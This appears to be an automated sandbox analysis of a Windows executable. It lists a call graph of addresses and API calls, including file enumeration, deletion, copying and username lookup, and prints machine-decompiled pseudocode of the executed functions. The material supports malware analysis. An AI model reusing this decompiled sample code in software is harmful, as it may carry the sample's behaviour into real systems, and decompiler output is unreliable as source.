56147 140080c12 std::exception_ptr::_Current_exception 56146->56147 56147->56077 56148->56077 56150 140016ed8 shared_ptr 56 API calls 56149->56150 56151 140011a83 56150->56151 56152 1400118e0 shared_ptr 56 API calls 56151->56152 56153 140011a91 56152->56153 56154 14005a2a0 56153->56154 56160 140051d30 56154->56160 56156 14005a2c3 56158 14005a2f5 56156->56158 56166 140050a90 56156->56166 56169 14005a200 56 API calls 2 library calls 56156->56169 56158->56142 56161 140051d3e 56160->56161 56162 140051d5e 56161->56162 56163 1400118e0 shared_ptr 56 API calls 56161->56163 56162->56156 56164 140051d50 56163->56164 56165 140016ed8 shared_ptr 56 API calls 56164->56165 56165->56162 56167 140002670 2 API calls 56166->56167 56168 140050a9f 56167->56168 56168->56156 56169->56156 56171 1400133f0 std::exception_ptr::_Current_exception FindCloseChangeNotification 56170->56171 56172 14001343e std::exception_ptr::_Current_exception 56171->56172 56173 1400133f0 std::exception_ptr::_Current_exception FindCloseChangeNotification 56172->56173 56174 14001345a 56173->56174 56175 14006dc90 56176 140062190 95 API calls 56175->56176 56177 14006dca5 56176->56177 56182 140040f30 56177->56182 56180 14006dcb9 56181 140007a40 _RunAllParam 46 API calls 56181->56180 56185 140040ee0 GetFileAttributesW 56182->56185 56186 140040ef7 FindFirstFileW 56185->56186 56187 140040f0b 56185->56187 56186->56187 56188 140040f10 FindClose 56186->56188 56187->56180 56187->56181 56188->56187 56189 14006ab90 56190 140062190 95 API calls 56189->56190 56191 14006aba0 SetWindowTextW 56190->56191 56192 14003a250 56193 140095d90 108 API calls 56192->56193 56194 14003a269 56193->56194 56195 14003498f 56196 140016ed8 shared_ptr 56 API calls 56195->56196 56197 140007b26 __initmbctable 56196->56197 56198 1400850dc GetUserNameW 56199 14003a191 56202 140094390 56199->56202 56203 1400943e0 56202->56203 56204 140005700 107 API calls 56203->56204 56211 14009442b 56203->56211 56222 14009445e 56204->56222 56206 140094665 56207 140007a40 _RunAllParam 46 API calls 56206->56207 56208 140094693 56207->56208 56209 140007a40 _RunAllParam 46 API calls 56208->56209 56210 14009469d 56209->56210 56212 140007a40 _RunAllParam 46 API calls 56210->56212 56228 1400700a0 100 API calls 3 library calls 56211->56228 56213 1400946a7 56212->56213 56229 140013ae0 46 API calls _RunAllParam 56213->56229 56216 140094639 56216->56211 56217 140094651 56216->56217 56227 140011370 57 API calls shared_ptr 56217->56227 56220 140005700 107 API calls 56220->56222 56222->56206 56222->56211 56222->56216 56222->56220 56224 140079bd0 98 API calls 56222->56224 56225 140011b10 98 API calls 56222->56225 56226 140010f30 97 API calls 56222->56226 56224->56222 56225->56222 56226->56222 56227->56206 56228->56206 56230 1400801e0 56231 140080212 56230->56231 56232 140011960 95 API calls 56231->56232 56234 140080236 56232->56234 56233 140080316 56234->56233 56235 14008025b 56234->56235 56236 14008034d 56234->56236 56237 140062190 95 API calls 56235->56237 56238 140014530 111 API calls 56236->56238 56251 140080267 56237->56251 56239 140080365 56238->56239 56240 14008036a 56239->56240 56241 140080380 56239->56241 56242 14000fc40 46 API calls 56240->56242 56243 140062190 95 API calls 56241->56243 56244 14008030e 56242->56244 56245 14008038d 56243->56245 56248 140007a40 _RunAllParam 46 API calls 56244->56248 56246 14001823c 45 API calls 56245->56246 56256 1400803b7 56246->56256 56247 1400802ba 56249 140062190 95 API calls 56247->56249 56248->56233 56250 1400802d4 56249->56250 56329 140040ec0 GetFileAttributesW 56250->56329 56251->56247 56252 140062190 95 API calls 56251->56252 56252->56247 56254 1400802f1 shared_ptr 56254->56244 56255 140080322 56254->56255 56257 140062190 95 API calls 56255->56257 56259 140062190 95 API calls 56256->56259 56258 14008032f 56257->56258 56331 140059e40 74 API calls _flush 56258->56331 56261 140080444 56259->56261 56276 140040c40 56261->56276 56262 140080342 56262->56233 56262->56244 56264 140080467 56265 140040f30 3 API calls 56264->56265 56266 140080474 56265->56266 56267 1400804c0 56266->56267 56269 140062190 95 API calls 56266->56269 56268 140007a40 _RunAllParam 46 API calls 56267->56268 56270 1400804c8 56268->56270 56271 14008048f 56269->56271 56274 14003ef90 82 API calls 56270->56274 56282 140061900 56271->56282 56274->56233 56275 14000fc40 46 API calls 56275->56267 56277 140040c5f _flush 56276->56277 56278 14001823c 45 API calls 56277->56278 56280 140040c83 56277->56280 56279 140040cc2 56278->56279 56281 14001823c 45 API calls 56279->56281 56280->56264 56281->56280 56283 14006191f _flush 56282->56283 56284 14004f560 GetSystemTimeAsFileTime 56283->56284 56285 14006197d 56284->56285 56286 140019e98 81 API calls 56285->56286 56287 140061996 56286->56287 56288 140061a8d 56287->56288 56289 1400619be 56287->56289 56291 1400614b0 90 API calls 56288->56291 56290 1400614b0 90 API calls 56289->56290 56292 1400619c3 56290->56292 56293 140061a51 56291->56293 56294 14001823c 45 API calls 56292->56294 56314 1400619c7 56292->56314 56295 140019a28 _fread_nolock 59 API calls 56293->56295 56293->56314 56299 1400619fb 56294->56299 56296 140061ab0 56295->56296 56297 140019a28 _fread_nolock 59 API calls 56296->56297 56298 140061ac8 56297->56298 56300 140019a28 _fread_nolock 59 API calls 56298->56300 56302 14001823c 45 API calls 56299->56302 56301 140061ae7 56300->56301 56303 140019a28 _fread_nolock 59 API calls 56301->56303 56302->56293 56304 140061afa 56303->56304 56305 140019a28 _fread_nolock 59 API calls 56304->56305 56306 140061b1a 56305->56306 56307 140019a28 _fread_nolock 59 API calls 56306->56307 56308 140061b2d 56307->56308 56309 140019a28 _fread_nolock 59 API calls 56308->56309 56310 140061b40 56309->56310 56311 140019a28 _fread_nolock 59 API calls 56310->56311 56312 140061b53 56311->56312 56332 14003ef50 GetTempPathW GetTempFileNameW 56312->56332 56314->56270 56314->56275 56315 140061c45 56316 140019694 82 API calls 56315->56316 56317 140061c5b 56316->56317 56318 140061c61 DeleteFileW 56317->56318 56321 140061cf2 CopyFileW 56317->56321 56324 140061c75 56317->56324 56318->56314 56320 140019a28 _fread_nolock 59 API calls 56325 140061b63 56320->56325 56321->56318 56322 140061d21 DeleteFileW 56321->56322 56333 14003eed0 CreateFileW 56322->56333 56326 140059110 90 API calls 56324->56326 56325->56314 56325->56315 56325->56320 56327 140018ce4 79 API calls 56325->56327 56328 140061ce7 56326->56328 56327->56325 56328->56318 56328->56322 56330 140040ecf 56329->56330 56330->56254 56331->56262 56332->56325 56334 14003ef32 56333->56334 56335 14003ef17 SetFileTime CloseHandle 56333->56335 56334->56314 56335->56334 56336 1400877e0 56337 140011960 95 API calls 56336->56337 56338 140087816 56337->56338 56339 14008788d 56338->56339 56340 140087864 56338->56340 56372 140075ea0 56339->56372 56341 140007a40 _RunAllParam 46 API calls 56340->56341 56353 14008786c std::exception_ptr::_Current_exception 56341->56353 56453 1400624f0 56372->56453 56454 1400032e0 shared_ptr 56 API calls 56453->56454 56455 1400624fe CharLowerBuffW 56454->56455 56462 140078d60 56463 140062190 95 API calls 56462->56463 56464 140078d7c 56463->56464 56472 14005a0d0 56464->56472 56466 140078d84 56467 140078d88 GetLastError 56466->56467 56468 140078daa 56466->56468 56469 14000fc40 46 API calls 56467->56469 56470 140078da2 56469->56470 56471 140007a40 _RunAllParam 46 API calls 56470->56471 56471->56468 56473 1400151d0 57 API calls 56472->56473 56474 14005a0f6 56473->56474 56475 140040ec0 GetFileAttributesW 56474->56475 56476 14005a100 56475->56476 56477 14001823c 45 API calls 56476->56477 56478 14005a144 FindFirstFileW 56477->56478 56479 14005a1d6 56478->56479 56482 14005a163 56478->56482 56480 14005a1d9 FindClose 56479->56480 56480->56466 56481 14005a1bc FindNextFileW 56481->56482 56482->56479 56482->56481 56483 14005a1ac DeleteFileW 56482->56483 56483->56480 56483->56481 56484 140011ea0 56487 140011d40 56484->56487 56488 140011d70 56487->56488 56490 140011d7d 56488->56490 56491 140011db7 56488->56491 56492 140011dfc 56488->56492 56526 140011dfa 56488->56526 56489 140011d89 DefWindowProcW 56508 140011d9a 56489->56508 56490->56489 56537 140012ad0 Shell_NotifyIconW _fread_nolock 56490->56537 56494 140011e14 56491->56494 56495 140011dbc 56491->56495 56529 140011c70 56492->56529 56496 140037f78 56494->56496 56497 140011e1a 56494->56497 56498 140011dc5 56495->56498 56499 140038026 56495->56499 56500 1400141e0 7 API calls 56496->56500 56503 140011e21 SetTimer RegisterWindowMessageW 56497->56503 56504 140011e67 56497->56504 56505 140011dd1 56498->56505 56506 140038002 56498->56506 56502 1400141e0 7 API calls 56499->56502 56500->56508 56510 140038052 56502->56510 56503->56508 56511 140011e53 CreatePopupMenu 56503->56511 56512 140037f20 56504->56512 56513 140011e70 KillTimer 56504->56513 56514 140011ddd 56505->56514 56515 140037fde 56505->56515 56541 140070fd0 68 API calls _fread_nolock 56506->56541 56509 140037faa 56538 1400129a0 65 API calls _fread_nolock 56509->56538 56519 140001c40 254 API calls 56510->56519 56511->56508 56521 140037f41 MoveWindow 56512->56521 56522 140037f25 56512->56522 56536 140012ad0 Shell_NotifyIconW _fread_nolock 56513->56536 56514->56490 56516 140011de5 56514->56516 56515->56489 56540 140044370 56 API calls shared_ptr 56515->56540 56539 14007aba0 78 API calls _fread_nolock 56516->56539 56517 140038019 56517->56489 56525 140037fd8 56517->56525 56519->56526 56521->56508 56522->56490 56523 140037f2e SetFocus 56522->56523 56523->56508 56525->56508 56526->56489 56527 140011e88 PostQuitMessage 56527->56508 56530 140011c84 _fread_nolock 56529->56530 56531 140011d2a 56529->56531 56542 140010e00 56530->56542 56531->56508 56533 140011cf6 KillTimer SetTimer 56533->56531 56534 140011cb4 56534->56533 56535 140033369 Shell_NotifyIconW 56534->56535 56535->56533 56536->56527 56537->56509 56538->56526 56539->56525 56540->56526 56541->56517 56543 140010e17 56542->56543 56544 140010f10 std::exception_ptr::_Current_exception 56542->56544 56545 140011880 56 API calls 56543->56545 56544->56534 56546 140010e31 56545->56546 56547 140033240 LoadStringW 56546->56547 56548 140010e40 56546->56548 56550 140033262 56547->56550 56549 1400107e0 shared_ptr 56 API calls 56548->56549 56551 140010e54 56549->56551 56552 140012600 56 API calls 56550->56552 56553 140010e61 56551->56553 56554 140033279 56551->56554 56561 140010e7f _fread_nolock 56552->56561 56553->56550 56555 140010e6e 56553->56555 56565 1400117b0 56 API calls 2 library calls 56554->56565 56564 1400117b0 56 API calls 2 library calls 56555->56564 56557 14003328a 56559 1400332a5 56557->56559 56557->56561 56566 1400117b0 56 API calls 2 library calls 56559->56566 56563 140010ef3 Shell_NotifyIconW 56561->56563 56562 1400332b8 56563->56544 56564->56561 56565->56557 56566->56562 56567 14000559f 56570 140010ff0 56567->56570 56569 1400055aa 56571 140011220 107 API calls 56570->56571 56572 14001101f 56571->56572 56573 1400397a2 56572->56573 56574 140011049 56572->56574 56576 1400111a6 56572->56576 56599 1400700a0 100 API calls 3 library calls 56573->56599 56577 140011128 56574->56577 56593 14001106d 56574->56593 56576->56569 56577->56576 56578 140011184 56577->56578 56579 1400040d0 56 API calls 56577->56579 56580 1400040d0 56 API calls 56578->56580 56579->56577 56581 140011196 56580->56581 56595 140012d30 254 API calls _RunAllParam 56581->56595 56583 1400111c4 56596 140011370 57 API calls shared_ptr 56583->56596 56585 1400111d8 56587 140007a40 _RunAllParam 46 API calls 56585->56587 56586 140039744 56597 1400700a0 100 API calls 3 library calls 56586->56597 56588 1400111e5 56587->56588 56591 140007a40 _RunAllParam 46 API calls 56588->56591 56590 140011220 107 API calls 56590->56593 56591->56576 56592 140039792 56598 140013ae0 46 API calls _RunAllParam 56592->56598 56593->56583 56593->56586 56593->56590 56593->56592 56595->56576 56596->56585 56597->56592 56599->56576

                                                                                                                                                                                                        Executed Functions

                                                                                                                                                                                                        Function 0000000140006080 Relevance: 68.2, APIs: 44, Instructions: 2152COMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 28%
                                                                                                                                                                                                        			E00000001140006080(signed long long __ebx, void* __ebp, long long __rcx, void* __rdx, signed int* __r8, signed long long __r9, signed int __r10, void* __r11) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r12;
				void* __r13;
				void* _t400;
				signed int _t417;
				signed int _t422;
				intOrPtr _t424;
				signed char _t429;
				intOrPtr _t439;
				signed char _t441;
				signed int _t452;
				signed int _t453;
				signed int _t455;
				signed int _t457;
				signed int _t458;
				signed int _t460;
				signed int _t461;
				signed int _t462;
				signed long long _t466;
				void* _t467;
				signed int _t472;
				intOrPtr _t497;
				void* _t526;
				void* _t529;
				void* _t560;
				void* _t569;
				void* _t570;
				void* _t577;
				void* _t596;
				void* _t603;
				signed long long _t703;
				signed short* _t704;
				signed long long _t708;
				long long _t709;
				signed long long* _t712;
				signed long long _t713;
				signed long long _t717;
				signed short* _t718;
				long long _t721;
				signed long long _t722;
				signed int* _t723;
				signed long long _t724;
				intOrPtr _t725;
				long long _t728;
				signed long long* _t729;
				intOrPtr _t730;
				signed long long _t731;
				long long _t734;
				long long _t738;
				void* _t756;
				intOrPtr* _t759;
				signed long long _t762;
				signed long long _t763;
				long long _t764;
				signed long long _t768;
				signed short** _t769;
				long long _t770;
				signed long long _t771;
				intOrPtr _t776;
				intOrPtr _t777;
				intOrPtr _t778;
				void* _t779;
				intOrPtr* _t780;
				intOrPtr* _t782;
				intOrPtr _t783;
				intOrPtr* _t786;
				void* _t790;
				signed long long _t805;
				long long _t821;
				intOrPtr* _t827;
				intOrPtr _t834;
				intOrPtr* _t840;
				intOrPtr _t841;
				void* _t848;
				intOrPtr* _t869;
				signed long long _t870;
				long long _t873;
				intOrPtr _t876;
				intOrPtr _t877;
				intOrPtr* _t882;
				intOrPtr* _t889;
				void* _t893;
				signed long long _t897;
				intOrPtr _t898;
				void* _t900;
				intOrPtr* _t901;
				signed long long _t902;
				signed long long _t903;
				void* _t906;
				signed int* _t907;
				signed long long _t908;
				signed long long _t909;
				signed long long _t913;
				intOrPtr _t914;
				intOrPtr* _t915;
				long long _t916;
				signed long long _t917;
				long long _t918;
				void* _t920;
				signed long long _t921;
				intOrPtr* _t924;
				signed long long _t925;
				void* _t927;
				void* _t928;
				intOrPtr _t932;
				signed long long _t934;
				intOrPtr _t935;
				intOrPtr _t939;
				intOrPtr _t941;
				signed long long _t943;
				signed long long* _t946;
				long long _t949;
				void* _t950;
				signed short* _t951;
				intOrPtr* _t953;
				void* _t957;
				signed long long _t959;
				void* _t961;
				long long _t962;
				intOrPtr* _t964;
				WCHAR* _t967;
				signed long long* _t970;
				signed long long* _t972;
				intOrPtr* _t973;

				_t943 = __r9;
				 *((long long*)(_t927 + 0x20)) = __r9;
				 *((long long*)(_t927 + 8)) = __rcx;
				_t928 = _t927 - 0x148;
				r10d =  *__r8;
				_t962 = __rcx;
				_t946 =  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + __r10 * 8));
				_t703 =  *_t946;
				E00000001140016A44(_t400,  *_t703);
				_t921 = _t703;
				 *(_t928 + 0x80) = _t703;
				_t7 = _t703 + 1; // 0x1
				_t790 = _t7;
				if (_t790 == 0) goto 0x40036490;
				 *(_t928 + 0x88) = _t790 + 0x00000007 & 0xfffffff8;
				_t704 =  <  ? 0xffffffff : _t703;
				E00000001140016ED8(_t704, _t704);
				_t14 = _t921 + 2; // 0x2
				_t951 = _t704;
				 *(_t928 + 0x78) = _t704;
				E00000001140016710(_t467, _t790, _t704,  *_t703, _t921 + _t14);
				E00000001140016ED8(_t704, _t704);
				_t907 = _t704;
				if (_t907 == 0) goto 0x4003649a;
				 *_t907 = 1;
				 *(_t928 + 0x90) = _t907;
				if ( *((intOrPtr*)(_t962 + 0x230)) == 0) goto 0x40037dd0;
				if ( *_t907 - 1 > 0) goto 0x400364a2;
				CharUpperBuffW(_t967);
				if ( *((intOrPtr*)(_t962 + 0x228)) != 0) goto 0x40036511;
				_t759 =  *((intOrPtr*)(_t962 + 0x218));
				if (_t759 == 0) goto 0x40037dd0;
				_t932 =  *((intOrPtr*)(_t759 + 8));
				if (_t932 != _t921) goto 0x400071da;
				if (_t932 == 0) goto 0x400061ba;
				_t869 =  *_t759;
				_t526 =  *_t869 - ( *_t951 & 0x0000ffff);
				if (_t526 != 0) goto 0x400071da;
				_t870 = _t869 + 2;
				if (_t526 != 0) goto 0x400061a0;
				 *_t907 =  *_t907 + 0xffffffff;
				if (_t526 != 0) goto 0x400061cf;
				0x40016a60(_t906, _t920, _t756);
				0x40016a60();
				if (_t759 == 0) goto 0x40037dda;
				_t497 =  *((intOrPtr*)(_t759 + 0x24));
				 *(_t928 + 0x70) =  *(_t759 + 0x28);
				r8d = _t870 + 1;
				 *(_t928 + 0xa8) = _t921;
				 *(_t928 + 0xb0) = _t921;
				r11d =  *((short*)( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + _t870 * 8)) + 0xa));
				 *__r8 = r8d;
				 *((intOrPtr*)(_t928 + 0xe8)) =  *((intOrPtr*)(_t962 + 0x23c));
				 *((intOrPtr*)(_t928 + 0x30)) = 0;
				 *(_t928 + 0x38) = 1;
				 *(_t928 + 0x40) = _t921;
				 *((long long*)(_t928 + 0xc8)) = 0x400a2478;
				 *((long long*)(_t928 + 0xa0)) = 0x4009e730;
				 *(_t928 + 0xb8) = _t921;
				 *(_t928 + 0xd0) = _t921;
				 *(_t928 + 0xd8) = _t921;
				 *(_t928 + 0xe0) = _t921;
				if ( *((short*)( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + (_t932 - 1) * 8)) + 8)) != 0x47) goto 0x4003656a;
				r8d = r8d + 1;
				 *((intOrPtr*)(_t928 + 0x50)) = _t497;
				 *(_t928 + 0x68) = __ebx;
				 *(_t928 + 0x48) = r11d;
				 *(_t928 + 0x98) = 0;
				r10d = 0;
				 *__r8 = r8d;
				 *(_t928 + 0x198) = r8d;
				r9d =  *__r8;
				_t708 =  *((intOrPtr*)(__rdx + 8));
				_t529 =  *((short*)( *((intOrPtr*)(_t708 + _t943 * 8)) + 8)) - 0x47;
				if (_t529 >= 0) goto 0x400062cc;
				 *__r8 = _t943 + 1;
				goto 0x400062b0;
				if (_t529 == 0) goto 0x40036661;
				if (_t529 != 0) goto 0x40036645;
				if (r10d != 0) goto 0x40036653;
				r12d =  *__r8;
				_t57 =  &(_t951[0]); // 0x1
				 *__r8 = _t57;
				if (__ebx -  *0x400c7f10 > 0) goto 0x40036669;
				if (__ebx <= 0) goto 0x40036669;
				_t873 = ( *(_t759 + 0x20) << 5) +  *0x400c7f70;
				 *((long long*)(_t928 + 0xc0)) = _t873;
				 *((intOrPtr*)(_t928 + 0x4c)) = 3;
				r9d = 0;
				 *(_t928 + 0x1a0) = 0;
				if (_t497 <= 0) goto 0x4000653e;
				 *((intOrPtr*)(_t928 + 0x54)) = 0;
				if (r8d - r12d >= 0) goto 0x40006535;
				r9d = r9d + 1;
				dil = 0;
				 *(_t928 + 0x1a0) = r9d;
				_t805 =  *((intOrPtr*)( *((intOrPtr*)(_t873 + 8)) + _t708 * 8));
				if ( *((short*)(_t805 + 8)) == 0) goto 0x40036671;
				_t709 =  *((intOrPtr*)(__rdx + 8));
				if ( *((short*)( *((intOrPtr*)(_t709 + _t805 * 8)) + 8)) == 0x33) goto 0x40006387;
				dil = 0;
				_t762 =  *(_t928 + 0xd8);
				if (_t762 == _t921) goto 0x400071ec;
				E00000001140016ED8(_t709,  *((intOrPtr*)(_t709 + _t805 * 8)));
				r9d = 0;
				if (_t709 == 0) goto 0x400366b2;
				 *_t709 = dil;
				_t763 = _t762 + 1;
				 *((long long*)( *(_t928 + 0xd0) + _t763 * 8 - 8)) = _t709;
				 *(_t928 + 0xd8) = _t763;
				if (dil != 0) goto 0x400366ba;
				if ( *(_t928 + 0x40) != 0) goto 0x400367ec;
				_t417 =  *(_t928 + 0x38);
				if (_t417 == 8) goto 0x40036802;
				if (_t417 == 0xa) goto 0x40036826;
				if (_t417 == 5) goto 0x40036844;
				if (_t417 == 0xb) goto 0x40036854;
				if (_t417 == 0xc) goto 0x40036872;
				_t908 =  *(_t928 + 0xb0);
				 *(_t928 + 0x38) = 1;
				 *((intOrPtr*)(_t928 + 0x30)) = 0;
				if (_t908 == _t921) goto 0x4000725f;
				_t895 =  *(_t928 + 0xa8);
				E00000001140016ED8(_t709,  *(_t928 + 0x40));
				if (_t709 == 0) goto 0x40036a93;
				_t472 =  *(_t928 + 0x38);
				_t764 = _t709;
				 *((long long*)(_t709 + 0x10)) = 0;
				 *(_t709 + 8) = _t472;
				if (_t472 != 1) goto 0x40036890;
				 *_t764 =  *((intOrPtr*)(_t928 + 0x30));
				 *((long long*)( *(_t928 + 0xa8) + _t908 * 8)) = _t764;
				_t909 = _t908 + 1;
				_t934 = _t928 + 0x198;
				 *(_t928 + 0x20) = r12d;
				 *(_t928 + 0xb0) = _t909;
				if (E00000001140005700(_t709,  *((intOrPtr*)(_t928 + 0x190)),  *((intOrPtr*)(_t928 + 0x190)), __rdx, _t934,  *((intOrPtr*)(_t895 + _t908 * 8)), _t961, _t957) != 0) goto 0x40036617;
				_t876 =  *((intOrPtr*)(_t928 + 0xc0));
				if ( *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t876 + 8)) + _t921 * 8)) + 8)) == 0x41) goto 0x40036a9a;
				r8d =  *(_t928 + 0x198);
				if (r8d == r12d) goto 0x4000652d;
				if ( *((short*)( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + _t934 * 8)) + 8)) != 0x40) goto 0x400365c2;
				_t422 = _t934 + 1;
				if (_t422 == r12d) goto 0x400365c2;
				 *(_t928 + 0x198) = _t422;
				r8d = _t422;
				_t712 =  *((intOrPtr*)(_t876 + 8));
				if ( *((short*)(_t712[_t921] + 8)) != 0x40) goto 0x4000650e;
				r9d =  *(_t928 + 0x1a0);
				_t424 =  *((intOrPtr*)(_t928 + 0x54)) + 1;
				if (_t424 -  *((intOrPtr*)(_t928 + 0x50)) >= 0) goto 0x40006535;
				 *((intOrPtr*)(_t928 + 0x54)) = _t424;
				goto 0x40006344;
				r9d =  *(_t928 + 0x1a0);
				r11d =  *(_t928 + 0x48);
				_t466 =  *(_t928 + 0x68);
				if (r9d -  *(_t928 + 0x70) < 0) goto 0x400365a8;
				if (r9d -  *((intOrPtr*)(_t928 + 0x50)) > 0) goto 0x400365a8;
				if (r8d != r12d) goto 0x400365a8;
				r14d =  *((intOrPtr*)(_t928 + 0x50));
				 *(_t928 + 0x60) = _t466;
				 *(_t928 + 0x58) = _t909;
				if (_t466 < 0) goto 0x40036b0b;
				_t560 =  *0x400c69f9 - sil; // 0x0
				if (_t560 != 0) goto 0x40036b14;
				E00000001140016ED8(_t712, _t712[_t921]);
				if (_t712 == 0) goto 0x40036bce;
				 *_t712 = _t909;
				_t970 = _t712;
				_t712[1] =  *(_t928 + 0x60);
				 *(_t928 + 0x70) = _t712;
				if ( *(_t928 + 0x60) < 0) goto 0x40036b46;
				if ( *(_t928 + 0x58) != 0) goto 0x40036b4e;
				 *_t712 = _t909;
				_t713 =  *0x400c69f0; // 0x0
				r9d =  *(_t928 + 0x1a0);
				_t970[2] = _t713;
				 *0x400c69f0 = _t970;
				 *0x400c69e8 =  *0x400c69e8 + 1;
				if ( *(_t928 + 0x58) != 0) goto 0x40036bdb;
				if (r14d - 1 < 0) goto 0x40006ae7;
				_t768 = _t909;
				 *(_t928 + 0x98) = _t768;
				_t877 =  *((intOrPtr*)( *((intOrPtr*)(_t928 + 0xc0)) + 8));
				 *(_t928 + 0x80) = _t909;
				 *(_t928 + 0x88) = _t909;
				 *(_t928 + 0x90) = _t909;
				 *((intOrPtr*)(_t928 + 0x54)) = 0;
				r10d = 0;
				 *(_t928 + 0x48) = 1;
				 *(_t928 + 0x78) = 0x4009c1d8;
				 *((intOrPtr*)(_t928 + 0x62)) = r10w;
				 *(_t928 + 0x60) = r11w;
				r13d = r10d;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t877 + 0xa004e0ec0)) + 8)) == r10w) goto 0x40036c50;
				if (1 - r9d > 0) goto 0x400371b3;
				asm("inc ecx");
				if ( *((intOrPtr*)( *((intOrPtr*)( *(_t928 + 0xd0) + _t768 * 8)))) != r10b) goto 0x40036c90;
				_t717 =  *(_t928 + 0xa8);
				_t964 =  *((intOrPtr*)(_t717 + _t768 * 8));
				_t953 =  *((intOrPtr*)( *((intOrPtr*)(_t877 + _t717 * 8))));
				_t569 =  *0x400c69e8 - _t946; // 0x0
				if (_t569 == 0) goto 0x40036cd1;
				_t570 =  *0x400c69f9 - r10b; // 0x0
				if (_t570 != 0) goto 0x40036cf0;
				if ( *_t970 == _t946) goto 0x400067ac;
				_t429 =  *0x400c8880; // 0x1
				bpl = 0;
				if ((_t429 & 0x00000001) == 0) goto 0x40036cfe;
				 *0x400c8878 = _t946;
				 *0x400c8870 = _t946;
				_t769 =  *_t970;
				_t935 =  *((intOrPtr*)(_t953 + 8));
				_t718 = _t769[1];
				if (_t935 == 0) goto 0x40036d2b;
				if (_t718 == 0) goto 0x40036d34;
				if (_t935 - _t718 < 0) goto 0x40036d52;
				if (_t935 == 0) goto 0x40036d4a;
				_t577 =  *((intOrPtr*)( *_t953)) - ( *( *_t769) & 0x0000ffff);
				if (_t577 != 0) goto 0x4000674b;
				if (_t577 != 0) goto 0x40006730;
				goto 0x40036d4a;
				if (_t577 < 0) goto 0x40036d42;
				if (1 < 0) goto 0x40036d67;
				if (1 <= 0) goto 0x40036e10;
				if (_t769[7] != 0) goto 0x40036dc2;
				 *0x1400C8878 =  *((intOrPtr*)( *_t970 + 0x30));
				 *0x1400C8870 =  *((intOrPtr*)( *_t970 + 0x38));
				_t721 =  *0x400c8878; // 0x0
				 *((long long*)( *_t970 + 0x30)) = _t721;
				_t821 =  *_t970;
				_t722 =  *0x400c8870; // 0x43b1670
				 *(_t821 + 0x38) = _t722;
				if (bpl != 0) goto 0x40036e18;
				r13d = r13d & 0x0000ff00;
				E00000001140016ED8(_t722, _t821);
				if (_t722 == 0) goto 0x40036e52;
				_t897 = _t722;
				 *(_t722 + 8) = _t921;
				 *((long long*)(_t722 + 0x10)) = _t821;
				_t723 =  <  ? 0xffffffff : _t722;
				E00000001140016ED8(_t723, _t723);
				_t172 = _t921 + 4; // 0x4
				 *_t897 = _t723;
				 *_t723 = 0;
				E00000001140016ED8(_t723, _t723);
				if (_t723 == 0) goto 0x40036e4a;
				 *_t723 = 1;
				 *(_t897 + 0x18) = _t723;
				if (_t897 == _t953) goto 0x40006852;
				_t724 =  *(_t897 + 0x18);
				if ( *_t724 - 1 > 0) goto 0x40036e5e;
				_t770 =  *((intOrPtr*)(_t953 + 8));
				 *((long long*)(_t897 + 8)) = _t770;
				_t177 = _t770 + 1; // 0x48
				if ( *((intOrPtr*)(_t897 + 0x10)) - _t177 < 0) goto 0x40036e89;
				E00000001140016710(_t172,  *((intOrPtr*)(_t897 + 0x10)) - _t177,  *_t897,  *_t953,  *((intOrPtr*)(_t897 + 8)) +  *((intOrPtr*)(_t897 + 8)) + 2);
				 *(_t897 + 0x20) = r13d;
				E00000001140016ED8(_t724,  *_t897);
				if (_t724 == 0) goto 0x40037060;
				_t771 = _t724;
				_t439 =  *((intOrPtr*)(_t964 + 8));
				 *((intOrPtr*)(_t771 + 8)) = _t439;
				 *(_t771 + 0x10) = _t921;
				if (_t439 == 1) goto 0x40006add;
				if (_t439 != 4) goto 0x40036ec7;
				E00000001140016ED8(_t724,  *_t897);
				if (_t724 == 0) goto 0x40037058;
				_t882 =  *((intOrPtr*)(_t964 + 0x10));
				 *_t724 =  *_t882;
				 *((long long*)(_t724 + 8)) =  *((intOrPtr*)(_t882 + 8));
				 *((long long*)(_t724 + 0x10)) =  *((intOrPtr*)(_t882 + 0x10));
				_t827 =  *((intOrPtr*)(_t882 + 0x18));
				 *((long long*)(_t724 + 0x18)) = _t827;
				 *_t827 =  *_t827 + 1;
				 *(_t771 + 0x10) = _t724;
				 *(_t897 + 0x28) = _t771;
				 *(_t897 + 0x38) = _t921;
				 *(_t897 + 0x30) = _t921;
				_t959 =  *_t970;
				if (_t959 == 0) goto 0x400072c7;
				_t441 =  *0x400c8880; // 0x1
				if ((_t441 & 0x00000001) == 0) goto 0x40037068;
				r15d = 0;
				 *0x400c8878 = _t970;
				 *0x400c8870 = _t970;
				_t939 =  *((intOrPtr*)(_t897 + 8));
				_t725 =  *((intOrPtr*)(_t959 + 8));
				if (_t939 == 0) goto 0x4003708b;
				if (_t725 == 0) goto 0x40037094;
				if (_t939 - _t725 < 0) goto 0x400370b1;
				if (_t939 == 0) goto 0x400370a9;
				_t596 =  *( *_t897) - ( *( *_t959) & 0x0000ffff);
				if (_t596 != 0) goto 0x40006951;
				if (_t596 != 0) goto 0x40006936;
				goto 0x400370a9;
				if (_t596 < 0) goto 0x400370a2;
				if (1 < 0) goto 0x400370c6;
				if (1 <= 0) goto 0x4000697b;
				_t203 = _t959 + 0x38; // 0x38
				if ( *(_t959 + 0x38) != 0) goto 0x40037118;
				_t913 = _t203 | 0xffffffff;
				 *((long long*)(0x1400c8878)) =  *((intOrPtr*)(_t959 + 0x30));
				 *((long long*)(0x1400c8870)) =  *(_t959 + 0x38);
				_t728 =  *0x400c8878; // 0x0
				 *((long long*)(_t959 + 0x30)) = _t728;
				_t729 =  *0x400c8870; // 0x43b1670
				 *(_t959 + 0x38) = _t729;
				_t941 =  *((intOrPtr*)(_t897 + 8));
				_t730 =  *((intOrPtr*)(_t959 + 8));
				if (_t941 == 0) goto 0x4003715a;
				if (_t730 == 0) goto 0x40037163;
				if (_t941 - _t730 < 0) goto 0x4003717f;
				if (_t941 == 0) goto 0x40037178;
				asm("o16 nop [eax+eax]");
				_t603 =  *( *_t897) - ( *( *_t959) & 0x0000ffff);
				if (_t603 != 0) goto 0x400069fb;
